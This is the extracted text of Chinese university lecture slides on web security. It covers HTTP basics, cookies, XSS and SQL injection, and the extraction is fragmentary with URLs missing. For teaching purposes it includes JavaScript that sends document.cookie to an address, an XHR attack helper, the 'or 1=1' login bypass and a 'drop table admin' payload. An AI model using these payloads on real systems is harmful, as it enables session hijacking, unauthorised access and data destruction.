《信息安全导论 ch8》由会员分享，可在线阅读，更多相关《信息安全导论 ch8（71页珍藏版）》请在金锄头文库上搜索。
1、信息安全导论 Introduction to Information Security,中央财经大学信息学院,本章学习要点： HTML协议以及请求与响应的报文结构； Cookie的功能及其安全的重要性； SQL注入的原理和分类； XSS跨站脚本攻击的原理，分类，特别是利用XSS获取Cookie进行会话劫持。,第8章 Web安全,内容提纲,前端基础,8.1 前端基础,8.1.1 URL 8.1.2 HTTP协议 8.1.3 JavaScript,URL就是我们经常提到的链接，通过URL请求可以查到唯一的资源，格式如下： :/?# 比如，这是一个最普通的URL： 对应关系是： - http - -
2、 /path/f.php - id=l&type=cool，包括对 - new URL的编码方式有三类：Escape、encodeURI、encodeURIComponent 这三个编码函数是有差异的，浏览器在自动URL编码中也存在差异。,8.1 前端基础,8.1.1 URL,URL的请求协议几乎都是HTTP，它是一种无状态的请求响应，即每次的请求响应之后，连接会立即断开或延时断开，断开后，下一次请求再重新建立。这里举一个简单的例子，对,8.1 前端基础,8.1.2 HTTP协议,GET请求,响应如图所示：,8.1 前端基础,8.1.2 HTTP协议,200 OK响应,请求与响应一般都分为头部
3、与体部。一般出现的POST方法中，比如包含表单的键值对。响应体就是在浏览器中看到的内容。这里的重点在这个头部，头部的每一行都有自己的含义，下面看看几个关键点。 请求头中的几个关键点如下： GET HTTP/1.1 这一行必不可少，常见的请求方法有GET/POST，最后的“HTTP/1.1”表示HTTP协议的版本号。 host: 这行也必不可少，表明请求的主机是什么。 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, likeGecko) Chrome/18.0.1025.3 Safari/535.19 Use
4、r-Agent用于表明身份，从这里可以看到操作系统、浏览器、器览器内核及对应的版本号等信息。 Cookie: SESSIONID=58AB420BID88800526ACCCAA83A827A3: FG=1 前面说HTTP是无状态的，那么每次在连接时，服务端如何知道你是上一次的那个？这里通过Cookies进行会话跟踪，第一次响应时设置的Cookies在随后的每次请求中都会发送出去。Cookies还可以包括登录认证后的身份信息。,8.1 前端基础,8.1.2 HTTP协议,响应头中的几个关键点如下： HTTP/1.1 200 0K 这一行肯定有，200是状态码，OK是状态描述。 Server:
5、nginx/1.1.19 上述语句透露了服务端的一些信息：Web容器、操作系统、服务端语言及对应的版本。 Content-Length: 3227 是响应体的长度。 Content-Type: text/html ; charset=utf-8 响应资源的类型与字符集。针对不同的资源类型会有不同的解析方式，这个会影响浏览器对响应体里的资源解析方式，字符集也会影响浏览器的解码方式，两者都可能带来安全问题。 每个Set-Cookie都设置一个Cookie（类似key = value），随后是如下内容。 请求响应头部常见的一些字段有必要了解，这是后面在研究Web安全时对各种HTTP数据包分析的前提。
6、 我们看到的网页就是一个HTML文档，比如下面这段就是HTML。,8.1 前端基础,8.1.2 HTTP协议, HTML /*这里是样式*/ body font-size: 14px ; a = l; /*这里是脚本*/ ,8.1 前端基础,8.1.2 HTTP协议, 这些都是HTML ,8.1 前端基础,8.1.2 HTTP协议,人们经常说HTML组成是松散的，是因为HTML是由众多标签组成的，标签内还有对应的各种属性。这些标签可以不区分大小写，有的可以不需要闭合。属性的值可以用单引号、双引号、反单引号包围住，甚至不需要引号。多余的空格与Tab毫不影响HTML的解析。HTML里可以内嵌Jav
7、aScript等内容。,8.1 前端基础,8.1.2 HTTP协议,在Web安全中，JavaScript控制了整个前端的逻辑，通过JavaScript可以完成许多操作。 举个例子，用户在网站上可以提交内容，然后可以编辑与删除，这些JavaScript几乎都可以完成。大多数情况下，有了XSS漏洞，就意味着可以注入任意的JavaScript，也就意味着被攻击者的任何操作都可以模拟，任何隐私信息都可以获取到。 在浏览器中，用户发出的请求基本上都是HTTP协议里的GET与POST方式。对于GET方式，实际上就是一个URL，方式有很多，常见的如下： /新建一个img标签对象，对象的src属性指向目标地址
8、 new Image ().src = “ “+escape (document.cookie) ; /在地址栏里打开目标地址 location.href = “ “+escape (document.cookie) ; 这两种方式原理是相通的，通过JavaScript动态创建iframe/frame/script/link等标签对象，然后将他们的src或href属性指向目标地址即可。,8.1 前端基础,8.1.3 JavaScript,对于POST的请求，XMLHttpRequest对象就是一个非常方便的方式，可以模拟表单提交，如下是一段的示例 xhr = function () /*xhr
9、对象*/ if (window.XMLHttpRequest) request = new XMLHttpRequest () ; else if (window.ActiveXObject) request = new window. ActiveXObject ( Microsoft.XMLHTTP ) ; return request; ; request = function (method, src, argv, content_type) xhr.open (method, src, false) /*同步方式*/ if ( method= POST ) xhr.setReques
10、tHeader ( Content-Type, content_type) ; /*设置表单的Content-Type类型*/,8.1 前端基础,8.1.3 JavaScript,xhr.send (argv); /*发送POST数据*/ return xhr.responseText; /*返回响应的内容*/ ; attack_a = function() var src = “ “ ; var argv_0 = “ POST表单提交的Content-Type为application/x-www-form-urlencoded，这是一种默认的标准格式。在前端黑客攻击中，比如XSS经常需要发起
11、各种请求（如盜取Cookies、蠕虫攻击等），这里介绍的POST方式都是XSS攻击常用的。,8.1 前端基础,8.1.3 JavaScript,内容提纲,前端基础,SQL注入漏洞,8.2 SQL注入漏洞,8.2.1 SQL注入原理 8.2.2 注入漏洞分类 8.2.3 SQL Server数据库注入 8.2.4 防治SQL注入,SQL注入漏洞(SQL injection)是Web层面最高危的漏洞之一。 想要更好地研究SQL注入，就必须深入了解每种数据库的SQL语法及特性。虽然现在的多数数据库都会遵循SQL标准，但是每种数据库也都有自己的单行函数及特性。下面通过一些经典的万能密码案例深入浅出地介
12、绍SQL注入漏洞，本次环境为：JSP+SQLServer。 下图是一个正常的登录表单，输入正确的账号和密码后，JSP程序会查询数据库：如果存在此用户并且密码正确，将会成功登录，跳转至“FindMsg”页面：如果用户不存在或者密码不正确，则会提示账号或者密码错误。,8.2 SQL注入漏洞,8.2.1 SQL注入原理,登录界面中，密码本身可以随意填写或者不写，然后点击“登录”按钮。接下来通过webscarab工具抓包将提交页面中的密码修改，添加一段比较特殊的字符串“or 1=1”，随后发现是可以正常登录的，如图b所示。,8.2 SQL注入漏洞,8.2.1 SQL注入原理,图a 登录界面,图b万能密
13、码登录成功,比较奇怪的是为什么密码随意输入都可以进入后台呢？进入数据库查看，发现“Neville”用户只对应“smith”密码，根本没有后缀为“ or 1=1”这个密码。难道是程序出错了吗？下面详细分析此程序，看问题到底出现在何处。 首先，提交正确的账号为Neville，密码为smith，跟踪SQL语句，发现最终执行的SQL语句为： select count (*) from admin where username=Neville and password=smith 在数据库中，存在Neville用户，并且密码为smith，所以此时用户可以成功登录。 接下来继续在密码smith后面输入特殊
14、字符串“ or 1=1”，并跟踪SQL语句，最终执行SQL语句为： select count (*) from admin where username=Neville and password=smith or 1=1 终于找到问题的根源了，从开发人员的角度理解，SQ语句的本义是： username=账户 and password=密码，,8.2 SQL注入漏洞,8.2.1 SQL注入原理,现在却变为： username=账户 and password=密码 or 1=1 此时的password根本起不了任何作用，因为无论它正确与否，password=密码 or 1=1这条语句永远为真。 很
15、显然，可以顺利通过验证，登录成功。这就是一次最简单的SQL注入过程。虽然过程很简单，但其危害却很大，比如，在密码位置处输入以下SQL语句 or 1=1; drop table admin - 因为SQL Server支持多语句执行，所以这里可以直接删除admin表。 由此可知，SQL注入漏洞的形成原因就是：用户输入的数据被SQL解释器执行。 下面将详细介绍攻击者SQL注入的常用技术，以做好Web防注入工作。,8.2 SQL注入漏洞,8.2.1 SQL注入原理,常见的SQL注入类型包括：数字型和字符型。也有人把类型分得更多、更细。但不管类型如何，目的只有一点，那就是绕过程序限制，使用户输入的数据
16、带入数据库执行，利用数据库的特殊性获取更多的信息或者更大的权限。 1. 数字型注入 当输入的参数为整型时，如：ID、年龄、页码等，如果存在注入漏洞，则可以认为是数字型注入，数字型注入是最简单的一种。假设有URL为HTTP:/ select * from table where id=8,8.2 SQL注入漏洞,8.2.2 注入漏洞分类,测试步骤如下。 HTTP:/ SQL语句为：select * from table where id=8，这样的语句肯定会出错，导致脚本程序无法从数据库中正常获取数据，从而使原来的页面出现异常。 HTTP:/ and 1=1 SQL语句为select * from table where id=8 and 1=1，语句执行正常，返回数据与原始请求无任何差异。 HTTP:/ and l=2 SQL语句变为select * from table where id=8 and l=2，语句执行
